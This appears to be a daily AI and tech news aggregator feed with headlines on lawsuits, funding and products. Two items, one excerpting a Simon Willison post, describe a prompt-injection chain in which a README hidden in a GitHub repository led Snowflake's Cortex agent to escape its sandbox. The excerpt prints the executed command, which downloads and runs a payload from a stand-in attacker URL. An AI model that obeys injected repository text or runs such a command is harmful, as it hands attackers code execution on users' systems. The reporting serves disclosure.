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Chain of News 18/03/2026

18/03/2026
Snowflake’s Cortex AI wasforced out of its sandbox after a prompt‑injection chain allowed malware execution, prompting an urgent fix and highlighting the security risks of AI agents that can execute code. At the same time, Docker

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GNews: AI Italia

Lunedì 23 marzo convegno e presentazione libro su Intelligenza Artificiale in Villa Mazzotti - libriegiornali.it

Lunedì 23 marzo convegno e presentazione libro su Intelligenza Artificiale in Villa Mazzotti libriegiornali.it

18/03/2026
GNews: Claude AI

BMG Sues Anthropic, Entering AI Copyright Battlefield: ‘Egregious Law-Breaking’ - Billboard

BMG Sues Anthropic, Entering AI Copyright Battlefield: ‘Egregious Law-Breaking’ Billboard

18/03/2026
TechCrunch AI

Nothing CEO Carl Pei says smartphone apps will disappear as AI agents take their place

Nothing CEO Carl Pei says AI agents will eventually replace apps, shifting smartphones toward systems that understand intent and act on a user's behalf.

18/03/2026
GNews: Claude AI

Anthropic Launches Claude Dispatch for Remote Desktop AI Control - MLQ.ai

Anthropic Launches Claude Dispatch for Remote Desktop AI Control MLQ.ai

18/03/2026
TechCrunch AI

Nvidia is quietly building a multibillion-dollar behemoth to rival its chips business

Nvidia's networking business raked in $11 billion last quarter despite getting significantly less fanfare than chips and gaming.

18/03/2026
Fireship

The rise and fall of famo.us...

Railway is the easiest way to deploy anything. Get $20 in free credits - https://railway.com/?referralCode=fireship The famo.us rendering engine was supposed to change web dev forever back in 2012. But after raising $30m, that never happened. Let's take a look back in time to understand why. #coding #javascript #opensource 🗞️ Newsletter: https://bytes.dev 🧠 Courses: https://fireship.dev

18/03/2026
TechCrunch AI

Patreon CEO calls AI companies’ fair use argument ‘bogus,’ says creators should be paid

Patreon CEO Jack Conte says AI companies should pay creators for training data, arguing their fair use defense falls apart when they license content from major publishers.

18/03/2026
Simon Willison

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent , now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human approval, without protecting

18/03/2026
TechCrunch AI

Rebel Audio is a new AI podcasting tool aimed at first-time creators

Rebel Audio is a new all-in-one podcasting tool that allows creators to record podcasts, edit, clip content for social, and publish episodes, all without ever leaving the platform.

18/03/2026
TechCrunch AI

The Gemini-powered features in Google Workspace that are worth using

From summarizing emails, drafting content, organizing data, and tracking meetings, here are all the best Gemini features in Google Workspace.

18/03/2026
TechCrunch AI

The leaderboard “you can’t game,” funded by the companies it ranks

Artificial intelligence models are multiplying fast, and competition is stiff. With so many players crowding the space, which one will be the best — and who decides that? Arena, formerly LM Arena, has emerged as the de facto public leaderboard for frontier LLMs, influencing funding, launches, and PR cycles. In just seven months, the startup went from a UC Berkeley PhD research […]

18/03/2026
Docker Blog

From the Captain’s Chair: Naga Santhosh Reddy Vootukuri

Docker Captains are leaders from the developer community that are both experts in their field and are passionate about sharing their Docker knowledge with others. “From the Captain’s Chair” is a blog series where we get a closer look at one Captain to learn more about them and their experiences. Today we are interviewing Naga...

18/03/2026
TechCrunch AI

This startup wants to make enterprise software look more like a prompt

The company has raised $12 million in seed funding to build an AI operating system for enterprise.

18/03/2026
TechCrunch AI

Sequen snags $16M to bring TikTok-style personalization tech to any consumer company

With its Series A, Sequen is bringing its proprietary AI ranking and personalization technology to large consumer business.

18/03/2026
TechCrunch AI

Microsoft hires the team of Sequoia-backed AI collaboration platform, Cove

AI collaboration startup Cove is shutting down after its team joined Microsoft, with service ending April 1 and customer data set for deletion.

18/03/2026